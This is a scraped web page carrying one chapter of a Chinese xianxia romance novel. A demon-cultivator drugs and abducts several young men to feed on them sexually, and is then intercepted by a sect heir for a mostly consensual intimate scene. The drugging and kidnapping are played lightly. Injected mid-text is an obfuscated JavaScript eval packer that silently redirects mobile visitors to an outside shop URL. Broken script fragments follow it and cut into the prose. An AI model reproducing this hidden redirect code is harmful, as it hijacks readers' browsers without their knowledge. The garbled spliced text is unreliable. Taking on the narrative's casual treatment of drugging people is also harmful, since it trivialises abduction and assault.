默认冷灰
24号文字
方正启体

5. 05接吻

作者:白日梦青鸟本书字数:K更新时间:
    宋洇这些天都在城里四处搜寻好看的男人。


    江醉蓝又开了一家新铺子,卖珠串玉石,因为是贵重物,来找茬的人也变少了。当然,这也代表假如亏本她将比别的生意赔的更多。


    宋洇帮她搬玉石,在店里认识了好几个玉石般斯文温润的少年郎。


    她已经拿迷药放倒了六个,全部堆放在自己客栈的小房间里。加上她现在手里拎着的这一个,一共七个,她今晚要大吃特吃。


    此前宋洇山洞双修后,金丹瓶颈松动,但是升阶速度仍然没有她期待的快,她希望在宗门大比前,可以达到元婴。


    她以前一直都是用人类修士的修炼方式,进阶神速。但金丹后开始,每个小段都要卡一下,修炼过程变得磨人痛苦。这让争强好胜的宋洇大感挫败,她只能尽快融合魅妖的修炼方式。


    看来师尊说的对,魅到了金丹之后就难以增进,一定要靠合修来提升。


    宋洇抓了七个,刚把昏迷的小七塞进雕花木门内,又听闻江醉蓝发来传音,说是她瞧见落月楼隔壁的书肆老板长得不错,好像是她的远房同类小银鱼。


    和鱼类双修增补效益会提高吗?没试过,可以试试。


    宋洇想一想,七个也是吃,八个也是吃,今晚放松一下没关系,又立刻腾空而起,赶往落月楼。


    落月楼顶层。


    这是青龙州中心城最繁华的酒楼,纸醉金迷的销金窟。雕梁画栋,鎏金牌匾,舞榭歌台,喧嚣不绝。


    药宗本就是富裕宗门,宴会规模豪奢。


    上座被不断敬酒的是位颀长俊朗的年轻公子。


    他一身蓝白配色衣衫,衣服袖口银线绣上药宗雪莲图案,头顶白玉琉璃发冠,耳畔长长的蓝色弯月耳坠。


    面如冠玉,气质高贵,神情冷淡。


    如昙花如冷月。


    宴会已经接近尾声,宾主尽欢。贺兰昙没有松懈,仍然秉持药宗少宗主身份,趁机多拉拢些属于他的人,以备日后与叔叔争权作对。


    终于有了喘息的时间,贺兰昙在桌边小酌,同伴凑过来,兴冲冲八卦:“嘿,你猜怎么着,那个群贤宗的妖女,又抓了不少人。”


    贺兰昙举杯的手歪了一瞬,又很快扶正,冷淡饮下一口冷酒。


    关我什么事,不关我的事。


    他如此说服自己,又往银盏中倒入一杯冷酒。


    他任由同伴眉飞色舞讲解,简直可以开个摊做说书先生。他不为所动。


    已是夜间,贺兰昙往窗外随意一看。


    却猛然瞥见,隔壁书店钻出两个身影,女子拎着男子的衣领,灵活跳往屋檐,快要不见踪影。


    那个鹅黄衣裙的熟悉身影,化成灰他都认得。


    他在那两日里早把她的模样刻在骨子里,记得她的身形体量,记得她肩胛骨的宽窄,记得她腰肢的纤细。


    贺兰昙神色几变,对朋友说:“我出去一趟。”


    朋友正在拿酒,闻言一愣,一抬头间,贺兰昙已经消失不见。


    宋洇几个瞬息就到了自己下榻的小客栈,因为她想省钱,住的房间不大,一下子塞了好几个人,拥挤不堪。


    她还没有和别的人合修过呢,这次一次吃八个,希望今晚可以顺利。


    她这次迷药下的量控制的不太准,刚绑回来的小八好似有转醒的迹象,迷迷糊糊挣扎着要逃脱她的控制。


    宋洇扶着小八上楼,抱住他的胳膊,踩着客栈吱嘎吱嘎响的木地板,上了走廊,推开梨花木门。


    她正在热切哄骗身边人:“你看,我是蛇妖,我和你们鱼类都是一样有鳞片的,我们就该很亲切啊对不对?”


    她瞧着身边人瘦削清秀的脸,想着要是挣扎太激烈,干脆就在走廊门口咬一口吧。


    她一手扶住木门,倾身过去,正准备尝。


    却猛然闻到一股熟悉而浓烈的香气,勾魂摄魄,一下子觉得嘴边的东西没味道了。


    宋洇瞬间抬头,咽下口水,睁大眼睛在周围警惕而兴奋地搜寻,张望是哪里来的猎物香气。


    合乎心意,勾得心痒意馋,令她垂涎欲滴。


    身后传来声响,嘎吱嘎吱的木楼梯再次响起来,有人从楼梯一步一步走上来,从阴暗处逐渐现身。


    他个子修长,戴着严实的蓝袍银纹斗篷,宽檐斗篷厚实的布料遮住了脸,昏暗光线下遮得只余影子。


    宋洇期待地看着他,像是一只猫等待着露出湖面的鱼,两眼放光。


    雪莲银纹的斗篷帽子被白皙修长的手缓缓摘下,露出贺兰昙那双浅蓝色的丹凤眼。


    “宋姑娘。”


    净昙冷月般的贵公子。


    但是这位贵公子显然没有他凉薄眼眸的色调那般冷静,他戾气十足盯眼宋洇扶着陌生男人的胳膊。


    继而危险眯起眼,转瞬闪现到她身侧,一把攥住她的胳膊,带到自己怀里。


    宋洇被抓进他怀里,她的手惯性松开猎物。


    啪嗒,小八结结实实晕倒在地上,身子卡在门槛间,发出倒头就睡的声响。


    贺兰昙抬头,透过半掩的梨花木门,瞧见房间里迷晕的男人,一二……七,他的脸色更加阴沉。


    贺兰昙猛然单手勒住宋洇的腰,另只手燃起符咒。红光窜起,走廊间两人的踪影瞬间消失。


    在贺兰昙出现的一瞬间,宋洇眼中就只有他,她就只想吃他了。


    别人都失去了颜色失去了味道,他才是她唯一中意可口的顶级食物。


    所以她顺从地任由他揽在怀里,被转移符咒转移位置。


    嗖。只是转瞬之间,两人已经在新的地方。


    这里是贺兰昙的房间。


    宋洇轻微推开他,双手抵在他的胸膛,杏眼四处观察,在他怀里仰头打量这间宽敞的房间。


    “你住的房间好大呀。”


    她有点羡慕,假如师尊夫和师尊不闹矛盾,她们小辈就有花不完的钱,也能住这么大的客栈房间。


    她又看到宽大的床,眨眨眼,拽住他的胳膊,状似无意:“哇,你的床也好大啊。”


    她观察着贺兰昙的神色,望向他的眼睛:“能睡两个人的,对吧?”


    贺兰昙笑了一下,冷淡蓝眸里的冰霜融化掉一层。他观察出宋洇没有逃离的迹象,放开她,去桌边倒茶水。


    宋洇三两步跟上来,跟在他身后。


    她毫不客气接过贺兰昙倒的茶,喝了一半。茶水温热,名家彩釉杯盏,茶是明前好茶。


    贺兰昙不说话。


    宋洇眼睛滴溜溜转,猛然想起来自己说谎身份时肯定被他听见了,她上次说自己是猫妖,这次骗书生自己是蛇妖。


    “其实我是蛇妖。”宋洇凑过去勾住他的胳膊。


    “好吧,我之前骗了你,我不是黑猫妖。”她缠在他身上,“是蛇妖。”


    贺兰昙看着她抱着自己的白皙柔嫩手臂,以及她手腕内测的魅魔印记。


    小骗子。小魅魔。不过没有关系,他以后炼成了解惑丹就没事了。


    “你看我的牙,嗯,我的蛇牙尖尖的,这就是我是蛇妖的证据啊。”宋洇又朝他张开嘴,梅开二度展示自己的小虎牙。


    “我虽然是蛇牙,但是我不会朝你吐毒液的。”她友好望着他,在他身上蹭蹭。


    贺兰昙没有说什么,只答非所问:“那个人不过是筑基,配不上你。”


    宋洇已然全部不记得她绑的是谁是什么修为了,全然不管贺兰昙说的是路人甲还是路人乙了,她现在只想吃了他。


    她直接欺身而上,把贺兰昙扑倒在了床头,就像之前她在山洞里扑倒他一样。


    贺兰昙却没有进行下一步,也没有像上次那般那么容易被她压倒。他只是揽着她的腰,神色淡淡。


    他伸手,骨节分明的手指挑起她的下巴。


    “我叫贺兰昙。”


    他弯起手指摩挲小巧下巴,“你骗我身份,我骗你名字,我们扯平了。”


    “贺兰昙。”宋洇重复一遍。


    听到真名,她没有露出惊讶的表情,也没有被欺骗的恼怒。


    只歪着头真诚赞美:“你的名字里有两种花,真好听。”


    贺兰昙嘴角弯起,开始仔仔细细看她。


    一个月没见,她还是那么漂亮,只是换了一副装扮。


    她今天的打扮鲜亮清凉,赤着脚,右脚脚踝圈住一串小巧金色圆铃铛。


    他认出来,她脚上的金色铃铛是法器,无形的灵气环绕铃铛周围,赤脚走来走去也不会受伤,更不会沾到灰尘。


    可爱。


    贺兰昙的手捏在她的脚踝,任由她跨坐在自己身上,又转而看向她的脸。


    嘴唇殷红饱满,像是春日花卉中最灿烂的一朵。


    真是魅魔,真是擅长吸引人。


    宋洇同样在看他。


    他今天好漂亮。比上次更漂亮了些。


    之前沙漠里是药宗的护送任务,贺兰昙着装追求的是低调能打,今天是宴会,他有意高调。


    白玉琉璃发冠衬托得面色如玉,那双长链子耳坠还在闪啊闪,反射暖黄烛光,照得她心痒难耐。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024968|194359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宋洇上前,单手捧着他的脸,着迷于他的浅蓝色眼睛。


    “你的眼睛真的好漂亮。我想挖下来。”


    她又难过,“别人都不给我挖,别人都很害怕。”


    她丝毫不觉得自己的话语有多么可怖。


    她只想快点吻他,与他欢好,她直接俯身,贴合他的唇瓣亲了下去。


    这对她来说是进食,咬着他的舌尖,更深探入缠绵。


    吻到夺走氧气,脑子里迷迷糊糊泛起气泡,却只想离他更近,狠狠钻进他的怀里他的身体里他的心脏里,与他融为一体。


    宋洇吻着他,迷迷愣愣却坦诚真实说出想法:“和你接吻好舒服。好喜欢啊。”


    她牢牢抱紧贺兰昙,在他身上蹭。


    宋洇又是吻了一阵子就喘不过气,揪着他的衣襟靠在他的怀里缓缓,脸贴在他的胸膛。


    贺兰昙揽住她的腰,在吻的间隙里回望她。


    她的脚踝纤细,她的小腿白皙,她的腰柔软,她生得丰腴娇媚,她的脸美,鼻头小巧如珍珠。


    他审视她。


    脚趾踢着他,可爱。


    腰贴合他,可爱。


    怎么看怎么可爱。


    这就是魅。全是因为她是魅。


    这么合他心意,全是因为她是魅。


    没关系,他以后炼制成功解惑丹,就能完全不在意她了。


    贺兰昙挺起身,搂紧她的腰,与她深深接吻。手碰到她腰间,自然而然扯开腰带。


    然而带子刚扯松一点,宋洇瞬间反应过来,连忙按住阻止。


    “等下等下,先涂药。”


    宋洇拦住他的一切动作,从他怀里跳出来,跪坐在床边。开始翻找她的兔子包包,又翻出来一堆瓶瓶罐罐。


    她再次仔细辨认江醉蓝的狗爬字,精准找出一瓶药。


    贺兰昙轻轻动鼻子,嗅出来这就是那瓶辨认元阳之身的药。


    他不解宋洇何意,之前不是辨认过吗?他顺从伸手,宋洇又在他手腕涂药。


    她涂完后耐心蹲在旁边,认认真真观察颜色。


    手腕很快显示颜色。这次不再是纯净白色,而是缓缓染出深蓝。


    象征元阳之身已破,且只有一位道侣的蓝色。


    贺兰昙早知道结果,但是瞧见那抹蓝色,耳尖仍不经意红了。


    宋洇盯着蓝色,这说明他的贞洁被她拿走,且目前只有她。


    没有其他人,干干净净,可以睡。


    宋洇很满意,再度扑倒他,趴在他的胸膛。


    热吻缠绵,烛火颤动。


    宋洇坐在他腰上,盯着他绯红的脸,又好奇:“你怎么都不挣扎啊?别人只是被我绑,就都要死要活的,你可是被我采补耶,你挣扎一下嘛。”


    贺兰昙没有挣扎,手指摩挲她的手腕软肉,他纵容这只魅妖乱来。


    宋洇的手抵着他的肩膀,意欲推倒他,她想起来话本子上的桥段,很高兴地给自己加上了剧情:“你挣扎,然后我就强l上,强迫你。这很有趣啊。”


    她甚至挑起贺兰昙的下巴:“来,对我露出点厌恶的情绪嘛。”


    然而,他的那双丹凤眼里找不到半分厌恶,浅蓝琉璃般的眼眸里全是晃动的暖黄烛火。


    宋洇让他酝酿酝酿感情,配合她走走剧情。


    贺兰昙叹气,拿起扔在床头的腰带,自觉把眼睛绑住了。


    这下可太有强迫的意味了,宋洇兴奋起来,她更感意外的是他的配合。


    她捧着他的脸,亲他侧脸,啄了好几下:“你真好,更喜欢你啦。”


    贺兰昙蒙着眼睛,剥夺视觉,仍然能在黑暗中感受到她的一举一动,在他身上游离的占有欲。


    “你的虎牙好尖。嘶,咬轻点。”


    然而到了下半场,宋洇就意识到自己确实是又爱玩又缺乏体力。


    她的主动权被全部收走,显然贺兰昙还计较着今天的事情,他揭下眼罩反客为主,每一下都重得很。


    “你今天刚来的时候好凶。”宋洇哭唧唧指责抱怨。


    贺兰昙可没有觉得自己凶。也许他比平时要不够冷静,可这定是因为小魅妖太能蛊惑人心。


    他被蛊惑了而已。为了解惑丹,他可以短暂纵容她。


    宋洇轻喘,她本来可以吃八个,但是现在采补到的这一个可不止八次。他已经褪去山洞时初夜的青涩,进步神速,分外了解她的软肋。


    “呜呜呜你欺负我,你都不让我尝一下别的男人是什么味道。”


    “不好吃。吃我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)